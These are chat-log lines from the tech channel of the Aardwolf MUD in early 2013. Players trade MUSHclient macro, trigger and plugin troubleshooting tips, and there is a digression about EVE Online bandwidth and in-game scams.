T3/r7/2013-01-31.txt.gz:{chan ch=tech}Daloran Tech: yeah, just realized what you were asking. sorry
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Book of Etzli Tech: Invdetails.
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Book of Etzli Tech: Downside is you have to do it for each item.
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Book of Etzli Tech: But it does show wear location.
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Vakieh Tech: Be sweet to have a meld of invsort and invdata commands
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Ixle Tech: Nod just merge them so invsort has an invdata like display
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Ixle Tech: Rather an option for it
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Cody Tech: all portals are saved in the aardwolf.db file right?
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Aliens Tech: yeah
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Cody Tech: k thanks, just dbl checking, making backups as i been editing alot latly.
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Noodlez Tech: aard layout reset i think it is
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Vakieh Tech: Anyone know how to affect a trigger's flags via script? Talking things like 'omit_from_output', etc?
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Vakieh Tech: nvm, found it - SetTriggerOption
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Leinei Tech: usually: omit_from_output="y"
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Leinei Tech: oh, nods, that's to change it
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Vakieh Tech: I was looking to make a debug mode, wanted to selectively omit as needed
T3/r7/2013-01-31.txt.gz:{chan ch=tech}OhSir IvanHoe Tech: Anyone here that uses Sharptracker 205g?
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: love it, whatcha need?
T3/r7/2013-01-31.txt.gz:{chan ch=tech}OhSir IvanHoe Tech: When I complete a quest, my calculation for the quest points kinda screw up
T3/r7/2013-01-31.txt.gz:{chan ch=tech}OhSir IvanHoe Tech: Run-time error
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Tech: Fordin (
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: Aard changed the line...it now says "giving you a x point tier bonus." instead of "giving you x quest points tier bonus."
T3/r7/2013-01-31.txt.gz:{chan ch=tech}OhSir IvanHoe Tech: Run-time error
T3/r7/2013-01-31.txt.gz:{chan ch=tech}OhSir IvanHoe Tech: Plugin: Sharptracker205g (called from world: Aardwolf)
T3/r7/2013-01-31.txt.gz:{chan ch=tech}OhSir IvanHoe Tech: Immediate execution
T3/r7/2013-01-31.txt.gz:{chan ch=tech}OhSir IvanHoe Tech: [string "Trigger: "]:2: attempt to perform arithmetic on a nil value
T3/r7/2013-01-31.txt.gz:{chan ch=tech}OhSir IvanHoe Tech: stack traceback:
T3/r7/2013-01-31.txt.gz:{chan ch=tech}OhSir IvanHoe Tech: [string "Trigger: "]:2: in main chunk
T3/r7/2013-01-31.txt.gz:{chan ch=tech}OhSir IvanHoe Tech: It says something like that
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: give me a sec and I can tell you where to look for it.
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: yep, I know. I fixed mine.
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Elderan Tech: Could anyone help me with basic macroses in aard mush please? I can't figure it out on my own. Or link me somewhere...
T3/r7/2013-01-31.txt.gz:{chan ch=tech}OhSir IvanHoe Tech: I can help with making an alias or trigger but probably not macro
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Elderan Tech: If I want to press F1 and cast this and this, what would it be? :)
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Cenanin Tech: dont think you can make an alias a function key...i could be wrong
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Jhav Tech: http://code.google.com/p/aardwolfclientpackage/wiki/Macros
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: it's about 60% of the way down the file, IvanHoe... make the line read '   match="*tells you 'I am also giving you a * quest* point* tier*"' instead of '   match="*tells you 'I am also giving you * quest* point* tier*"'
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Nuanse Tech: just go into macroes, choose f1 and type in what you want to do. it's just basic alias
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Cenanin Tech: you could probably do it witha script though
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Nuanse Tech: you just need to tick the "use f1, f6 as function keys"
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Elderan Tech: Nuance, where do I tick that?
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Nuanse Tech: from global
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Nuanse Tech: global-general
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Jhav Tech: He means File -> Global Preferences
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Tech: Nuanse is agreeing with that Jhav person again...
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Nuanse Tech: ctrl-alt-g
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Elderan Tech: aaa :) that's better :) hang on...
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Nuanse Tech: and for macros, just alt-enter to enter world properties, from list in right input->macros, and then from right side, just edit f1 and it works for you :)
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Nuanse Tech: left list...*snicker*
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Elderan Tech: Great! So now, in the macros window I go to F1, type my text, and what do I choose? Replace, send now, or insert? Send now?
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Nuanse Tech: send now
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Elderan Tech: thanks!
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Elderan Tech: There are also some weird macroses here like whisper, down, doing...what are they, can I delete them somehow?
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Nuanse Tech: if they do no harm, why would you need to?
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Elderan Tech: Don't know, they are just confusing :)
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Nuanse Tech: numpad uses those for quick things :)
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Nuanse Tech: for example 7 in numpad is down
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: you can use the numpad for navigating areas quickly
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Elderan Tech: aaa, I see. But I had + by default as down
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Elderan Tech: So I don't touch them? :)
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Daloran Tech: I always used 9 as up and 3 as down personally
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Vakieh Tech: I use + and -
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: that's a personal preference, Daloran...and common from Zmud users
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Daloran Tech: Nod, I didn't say it wasn't preference. =)
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Daloran Tech: Clearly, my way is the right way though.
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Nuanse Tech: do not fix what is not broken :P
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: I've assigned "exits", "con all", "scan" and "openall", plus "quaffmana" and "quaffheal" to the stuff I keep on my numpad
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Elderan Tech: Hehe. So why for example look there uses replace, but not send now? 
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Mushambo Tech: Should I do a separate partition for pagefile and/or programs ? Windows XP on my main drive, second is only documents
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Elkore Tech: is there a way for me to see everything that is being sent to my mushclient?
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Elkore Tech: is there a way to temporarily disable all plugins? i want to see the tags without them being gagged
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Cizra Tech: Yeah, Aard note mode plugin does that, for example.
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Cizra Tech: Can't recall how, though.
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Elkore Tech: k thanks
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Elkore Tech: i think ill reconnect with another client
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Pumpkin Tech: Elkore, if you want to do it manually, just ctrl+shift+8, untick enable triggers
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Gnarcyon Tech: what are some of the more popular plugin's for mush that track kills/exp/gold? i was using opochtli's but it broke
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: you just need to change one line in sharptracker
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Gnarcyon Tech: the line about quests?
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: about 60% of the way down, yep
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Gnarcyon Tech: hrmm k i'll look
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: make it say "giving you a * quest* point* tier bonus." instead of "giving you * quest* point* tier bonus."
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: The mud added the word a to the line and that's all that's wrong with it
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Gnarcyon Tech: thanks a ton =)
T3/r7/2013-01-31.txt.gz:{chan ch=tech}TrEz Tech: anyone using dreamweaver cs6
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Sissy Tech: Hi, can someone please remind me how to switch boards so I can read diff. notes?
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Ixle Tech: forum
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Sissy Tech: Thanks!
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Jedhi Tech: subscribe
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Daloran Tech: board <name of board>
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Sissy Tech: Thanks everyone.It's all coming back to me now. Haha. I've just come back from a long 'hiatus.'
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Mushambo Tech: Does it make any sense to create partitions for pagefile and/or certain programs on an XP installation?
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: pagefile, no...but it's not a bad idea to have a separate partition for your documents
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Mushambo Tech: Yes, I have a separate drive for those...just didn't know if for browsers or games perhaps should be isolated
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Dhaos Tech: Does anyone use the mushclient and if so how do you set up a macro?
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Ramen Noodlez Tech: ctrl+shift+9
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Riddim Tech: crtl+shift+9 is for an alias, macro is ctrl+shift+2, or just clicking around in the preferences menu
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Cizra Tech: Oo, I see there are 3 Mudlet users around! One is me, who are the other 2? Maybe I could share my scripty setup!
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Summoner Yuna Tech: And ditto on the lvl 271 Am4z0Ns h4s teh S3cHs n U d0n'T!!1
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Summoner Yuna Tech: Mischan
T3/r7/2013-01-31.txt.gz:{chan ch=tech}BobTheGreat Tech: In mush, how do I make a trigger that catches a variable amount of lines?
T3/r7/2013-01-31.txt.gz:{chan ch=tech}BobTheGreat Tech: I know there is a setting for multiline trigger, but you must specify the amount of lines beforehand
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Vakieh Tech: Using a multiline regexp trigger - almost exclusively a bad idea
T3/r7/2013-01-31.txt.gz:{chan ch=tech}BobTheGreat Tech: Why? Performance?
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Vakieh Tech: gets orders of magnitudes more complicated per line
T3/r7/2013-01-31.txt.gz:{chan ch=tech}BobTheGreat Tech: I'm only looking for 2-4 lines.
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Vakieh Tech: What exactly are you trying to capture?
T3/r7/2013-01-31.txt.gz:{chan ch=tech}BobTheGreat Tech: It's not a big deal - I'm trying to make a trigger that adds a line to lbid xxx with total stats
T3/r7/2013-01-31.txt.gz:{chan ch=tech}BobTheGreat Tech: If there's another way to do it, please tell me :)
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Vakieh Tech: So you want to grab from the identify output?
T3/r7/2013-01-31.txt.gz:{chan ch=tech}BobTheGreat Tech: Yeah
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Vakieh Tech: When you send 'lbid ###', have that as an alias which enables a trigger on 'Stat Mods  :" - which in turn enables triggers on Wisdom, Luck, Moves etc. Turn them off again with a trigger on "+-----------------------------------------------------------------+"
T3/r7/2013-01-31.txt.gz:{chan ch=tech}BobTheGreat Tech: meh, don't like working with multiple triggers, but I'll do this, thanks :)
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Vakieh Tech: Multiple triggers are a sight easier than multiline :-) Always turns out badly
T3/r7/2013-01-31.txt.gz:{chan ch=tech}BobTheGreat Tech: I like multiline because I'm fluent with regex and can pull it
T3/r7/2013-01-31.txt.gz:{chan ch=tech}BobTheGreat Tech: But I'll try your way this time :)
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Leinei Tech: It's easier for the client, not neccessarily for you.
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Leinei Tech: Probably not a huge deal, though, if you're sure exactly how many lines it's going to have, every time, and you don't have a whole slew of them.
T3/r7/2013-01-31.txt.gz:{chan ch=tech}BobTheGreat Tech: How does mush pass the table of wildcards to a 'send to script' trigger?
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Redryn Tech: %1, %2 etc
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Thunderax Tech: anyone care to explain what a "bouncing portal" is with regards to mapper?
T3/r7/2013-01-31.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yes
T3/r7/2013-01-31.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: https://code.google.com/p/aardwolfclientpackage/wiki/GMCPmapper#Configuring_the_norecall/noportal_assistance
T3/r7/2013-01-31.txt.gz:{chan ch=tech}Thunderax Tech: thanks!
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vesuviou Tech: I just downloaded r1738 mushclient and overwrite my previous revision. How do I verify the revision of my client?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}DA Monster Tryllus Tech: anyone know the command to see the speedwalk to araes through mappers?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Evil Bitch Sirian Tech: anyone here willin to help me modify fmud clients output abit ?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Arikhan Tech: Is there any 3d mmorpg game like Darkfall I can play from South Africa. Besides, WoW. I'm looking for a Player vs Player type.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Arikhan Tech: Nobody knows?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Ixle Tech: We play Aardwolf.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: with the bandwidth limits on most SA ISPs, you'll have a hard time finding one that you can play regularly.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Arikhan Tech: So you're saying I can't play Darkfall or Eve?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Aldeas Tech: Curious, what kind of bandwidth are we talking?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: I'd recommend checking your local stores and seeing what they have in stock on CD
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: EVE is possible if you can get it on disc
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: but sometimes the patches are big
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: it doesn't take a lot of bandwidth to play, though
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Arikhan Tech: and What type of Bandwith?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: your monthly data limits--most SA internet providers that I've heard of have ridiculously low ones
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Arikhan Tech: Don't insult us!!!
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: not saying they all are, but what I've heard is that 100GB/mo is an almost unheard of cap, most are 5-25GB
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: hehe. i transfer ca 2TB monthly :P
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Rusk Tech: apart from initial download 10gb/month is enough for eve unless you are on mumble/teamspeak alot
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: if you've got one of the better ISPs, you can probably play just about anything. If not, you'll be seriously limited.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: Laughing Lacrimosa nods at Rusk.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Rusk Tech: but if you get in any of the big alliance or fleet...you will need those communication tools too
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Aldeas Tech: Jeeze, how much non video data?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: and if you're on TS, that bandwidth varies by the server owner's settings
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Arikhan Tech: TS?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: Aldeas, you can still play EVE on about 56k internet, though you'll be lagged if there are a lot of ships on-grid.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: Teamspeak
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Rusk Tech: eve is spreadsheets in space
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Arikhan Tech: Like dots on paper spreadsheets?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Aldeas Tech: Something must be wrong with me, that was a selling point right there
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: It's a very fun game, Aldeas--complex, would take a lifetime to get good at everything you can do in there
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Rusk Tech: yeah, simply training all skills would take over 25 years
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: You never go full spreadsheet
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Aldeas Tech: haha, so is it real time based?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: yes
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: for training, especially
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Arikhan Tech: you're bloating me. twenty-five years
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Rusk Tech: but people with 1 week training can take/kill people with a years training. 
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Arikhan Tech: what? years is still a long time to play a game.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: I LIKE games that I can play for years...if I get bored with one aspect of the game, I can go play another aspect for a while.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Arikhan Tech: no correction. Years is a long time to master a set of skills on a game.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Arikhan Tech: He do have a point, i guess.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Rusk Tech: that is all aspects....market, leadership, ships, guns, supports etc. you can specialise in one and be good at it in a few weeks
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: Laughing Lacrimosa nods at Rusk.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Arikhan Tech: So what is Eve exactly. I just checked out the wikipedia page and I'm still clueless on how you play it. Do you go Star Trek and build your own ship, upgrade it, upgrade it more, destroy other ships, loot their crap, upgrade more, mine. wtf, I'm just guessing
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: Yes, Arikhan, you can do all of that.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Rusk Tech: also, dust 514...a ps3 fps is now linked as planetside component of eve
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: yeah, that just went in a couple weeks ago
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Arikhan Tech: I think I'll get that dust game then
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: that's more FPS-ish than EVE, but you'll still need to get eq and upgrade it and stuff
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Arikhan Tech: I'm never been big on managing, especially a spaceship. More of an action type of joe
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: there's plenty of action in either game, too
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Rusk Tech: not sure aobut dust, but eve *is* managing. and keeping ahead with your income so you can gank people. tears are precious
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Rusk Tech: they had a 3000 person fight on the weekend. though there was alot of lag
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Rusk Tech: just remember goons are evil :)
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: yes, Goons are out to destroy damn near any game they get into
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Rusk Tech: o. and if you get scammed, its your own fault. learn for next time
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Arikhan Tech: Scammed? how?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Ramen Noodlez Tech: My buddy got his account reset because he was part of a corporation that paid for in game money.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Ramen Noodlez Tech: We're talking about EVE right?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Rusk Tech: yeah, if you earn enough ingame, buy plex, use that to keep playing, but dont buy out of game :P
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: for example, on market, it's buyer beware... corp thieving happens, accounts get hacked and if you buy something from someone on a hacked account you can get banned...
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Arikhan Tech: I heard that there was a guy who started a bank on Eve, everybody invested on him. He then closed up the bank having everybodies money, bought a kick ass ship that should make you shit yourself by just looking at it, used another chunk of that money and placed a bounty on himself
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: wouldn't surprise me, Arikhan.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Rusk Tech: yeah, i read about that. also pyramid scams. dont trust anything in jita 
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: and assume that just about any contract someone links in local is a scam--read the fine print, make sure it's not you giving them bunches of isk for something ridiculous
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: or a full set of implants might have one of the low-grade ones in it instead of being all high-grade
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Arikhan Tech: If you can't take this money out. Why are people going crazy about it? Or can you ?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Rusk Tech: or some contracts...cant tell between skill books and actual modules fitted on  a ship due to way they show up.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Ramen Noodlez Tech: People say never use the trade window because of that, but there's a safe way to do it where you can't be duped.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Rusk Tech: modules are 100mil each..books about 100k :P
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: you can't take it out LEGALLY, Arikhan, but some people are still involved in RMT
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Rusk Tech: make sure it says fitted
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Gnarcyon Tech: eveonline?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Rusk Tech: yes gnarcyon
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: hehe, yeah, Gnar
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Big Bark Electrobite Tech: ?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: though...we might be better off to take this over to gametalk?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: Sneaking a tech q in here, is the data from the 'wearable' command and the type data from help invdata available in some tagged or otherwise easily parsable form?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Rusk Tech: omg. you killed tech
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Arikhan Tech: Lacrimosa and Rusk. Thanks for the chat. later.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Mye Tech: i've parsed both of those lists, so i consider them in parseable forms already *shifty*
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: Right Mye, I could grab them as is, but I was hoping to set it up futureproof in case of racial wear slots or new item types (type 23, for example)
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Ramen Noodlez Tech: Why am I seeing {invmon tags?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tech: you typed invmon and aren't running an inventory plugin...help invmon
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Ramen Noodlez Tech: ok, right on
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Ramen Noodlez Tech: I was using one, not now
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vesuviou Tech: How do I check what revision is my aardwolf mushclient?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Jhav Tech: checkversion
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vesuviou Tech: Thanks
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: Using sqlite with lua in mushclient, I keep getting a 'cannot start a transaction within a transaction' error aftert attempting to step() a prepared statement - even though it is the first and only transaction on the db. Any ideas?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: Ok, getting frustrating now :-( I call close_vm right before I prepare and step the statement, and it still comes back 'cannot start a transaction within a transaction'...grr
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Trachx Tech: have you checked http://stackoverflow.com/questions/9329969/sqlite-multiple-insert-issue
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: CRISIS AVERTED! :-) Captain Cut n Paste that I am, I had calls to BEGIN and COMMIT inside my prepared statement... silly me :-P Thanks for looking though
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Vakieh Tech: Always nice to see data parsed smack bang into a db, all neat and tidy :-) And with that, it is 3am and I am about to go die on a bed :-P
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Tigernuts Tech: oh joy, my Steam has packed up
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Isiro Tech: How do I recolor my prompt? The Mini window eq plugin I was using doesn't want to work, and that really was the only thing that modified my prompt.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Bast Tech: that plugin doesn't touch your prompt
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Ramen Noodlez Tech: Help prompt gives you all the stuff you need, and help color gives the color codes.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Bast Tech: if you want your default prompt, I think "prompt default" will do it
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Bast Tech: actually "prompt all"
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Isiro Tech: Hmm. Well, while I figure out why my eq window doesn't want to update, it goes back!
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Isiro Tech: {invmon}6,959661874,909665465,-1 <------That's a potion I put into my luggage bag. It shows that, with different variables for whatever item I move around. How do I remove that?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Thunderous Norton Tech: invtags ?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Isiro Tech: I deleted the client and reinstalled it, and it persisted through that. No new plugins or anything.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Thunderous Norton Tech: yeah. invtags is a mudside command
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Isiro Tech: Invmon. Ok, I see it in the list.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Thunderous Norton Tech: yeah. thats the one
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Bast Tech: just type invmon until it says you will no longer see inventory tags
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Isiro Tech: I got it.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Mye Tech: is there a way (in mush) to have it select the rest of my output buffer (so i can set bookmark, do stuff, go back to bookmark, and just select from that point on without having to scroll).. would prefer not to use session logging since that's a lot of extra steps
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: I don't know that there is--but if you find it, let me know, it'll come in handy for clan meetings and such
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Moonburst Tech: listen my friend got communication suspened what happened? and how to fix it?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: what do you mean communication suspend?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Moonburst Tech: yeah
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Lady Trisha Tech: I have no idea what he mean's.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: like he can't talk on channels, or he can't log in?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Moonburst Tech: she got communication suspended and I need to know how to fix it. Is it a newbie channle question?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Thunderax Tech: what do you mean by communication suspended?
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Laughing Lacrimosa Tech: It's a question that could have many different answers, depending on what you mean.
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Moonburst Tech: wait a min
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Moonburst Tech: He got his talking prievlige taken away
T3/r7/2013-02-01.txt.gz:{chan ch=tech}Moonburst Tech: he missed used his communication rights?
